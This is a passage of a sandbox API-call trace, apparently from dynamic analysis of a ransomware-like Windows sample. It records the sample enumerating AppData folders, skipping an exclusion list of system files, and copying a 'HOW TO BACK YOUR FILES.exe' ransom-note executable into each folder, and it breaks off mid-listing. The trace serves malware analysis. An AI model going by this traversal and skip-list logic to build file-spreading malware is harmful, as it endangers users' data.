	[0037.029] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.030] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.030] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.030] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.030] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.030] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.030] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.030] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.030] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e39ff30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.030] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.030] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="Apollon865.txt.exe") returned 1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2=".") returned 1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="..") returned 1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="windows") returned -1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="bootmgr") returned 1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="temp") returned -1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="pagefile.sys") returned -1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="boot") returned 1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="ids.txt") returned -1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="ntuser.dat") returned -1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="perflogs") returned -1
	[0037.030] lstrcmpiW (lpString1="Identities", lpString2="MSBuild") returned -1
	[0037.030] lstrlenW (lpString="Identities") returned 10
	[0037.030] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\*") returned 34
	[0037.030] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Identities" | out: lpString1="Identities") returned="Identities"
	[0037.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0037.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5983a8
	[0037.030] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0037.030] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0037.030] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.030] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0037.030] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0037.030] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0037.030] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0037.031] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0037.031] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0037.031] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0037.031] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0037.031] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0037.031] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0037.031] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0037.031] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0037.031] lstrlenW (lpString="Microsoft") returned 9
	[0037.031] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned 43
	[0037.031] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0037.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0037.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x598408
	[0037.031] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0037.031] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0037.031] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0037.031] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0037.031] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft"
	[0037.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0037.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0037.031] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned 42
	[0037.031] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft"
	[0037.031] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.035] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.035] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.035] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.035] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.035] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.035] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.036] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.036] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.036] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.036] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.036] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="Apollon865.txt.exe") returned 1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2=".") returned 1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="..") returned 1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="windows") returned -1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="bootmgr") returned 1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="temp") returned -1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="pagefile.sys") returned -1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="boot") returned 1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="ids.txt") returned -1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="ntuser.dat") returned -1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="perflogs") returned -1
	[0037.036] lstrcmpiW (lpString1="Credentials", lpString2="MSBuild") returned -1
	[0037.036] lstrlenW (lpString="Credentials") returned 11
	[0037.036] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*") returned 44
	[0037.036] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials"
	[0037.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0037.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59a920
	[0037.036] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0037.036] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2="Apollon865.txt.exe") returned 1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2=".") returned 1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2="..") returned 1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2="windows") returned -1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2="bootmgr") returned 1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2="temp") returned -1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2="pagefile.sys") returned -1
	[0037.036] lstrcmpiW (lpString1="Crypto", lpString2="boot") returned 1
	[0037.037] lstrcmpiW (lpString1="Crypto", lpString2="ids.txt") returned -1
	[0037.037] lstrcmpiW (lpString1="Crypto", lpString2="ntuser.dat") returned -1
	[0037.037] lstrcmpiW (lpString1="Crypto", lpString2="perflogs") returned -1
	[0037.037] lstrcmpiW (lpString1="Crypto", lpString2="MSBuild") returned -1
	[0037.037] lstrlenW (lpString="Crypto") returned 6
	[0037.037] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned 54
	[0037.037] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto"
	[0037.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0037.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x599a78
	[0037.037] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7ab0
	[0037.037] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3c6090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.037] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.037] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1
	[0037.037] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1
	[0037.037] lstrlenW (lpString="Internet Explorer") returned 17
	[0037.037] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned 49
	[0037.037] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0037.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0037.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf898
	[0037.037] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7ad0
	[0037.037] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1
	[0037.037] lstrcmpiW (lpString1="Protect", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.037] lstrcmpiW (lpString1="Protect", lpString2="Apollon865.txt.exe") returned 1
	[0037.037] lstrcmpiW (lpString1="Protect", lpString2=".") returned 1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="..") returned 1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="windows") returned -1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="bootmgr") returned 1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="temp") returned -1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="pagefile.sys") returned 1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="boot") returned 1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="ids.txt") returned 1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="ntuser.dat") returned 1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="perflogs") returned 1
	[0037.038] lstrcmpiW (lpString1="Protect", lpString2="MSBuild") returned 1
	[0037.038] lstrlenW (lpString="Protect") returned 7
	[0037.038] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 60
	[0037.038] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Protect" | out: lpString1="Protect") returned="Protect"
	[0037.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0037.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599ae8
	[0037.038] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0037.038] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="Apollon865.txt.exe") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2=".") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="..") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="windows") returned -1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="bootmgr") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="temp") returned -1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="pagefile.sys") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="boot") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="ids.txt") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="ntuser.dat") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="perflogs") returned 1
	[0037.038] lstrcmpiW (lpString1="SystemCertificates", lpString2="MSBuild") returned 1
	[0037.038] lstrlenW (lpString="SystemCertificates") returned 18
	[0037.038] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned 50
	[0037.038] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SystemCertificates" | out: lpString1="SystemCertificates") returned="SystemCertificates"
	[0037.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0037.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf4e0
	[0037.038] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0037.038] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0037.039] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.039] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0037.039] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1
	[0037.039] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1
	[0037.039] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0
	[0037.039] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0037.039] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0037.039] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0037.039] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates"
	[0037.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0037.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0037.039] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 61
	[0037.039] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates"
	[0037.039] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.039] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.043] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.043] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.043] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.043] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.043] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.043] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
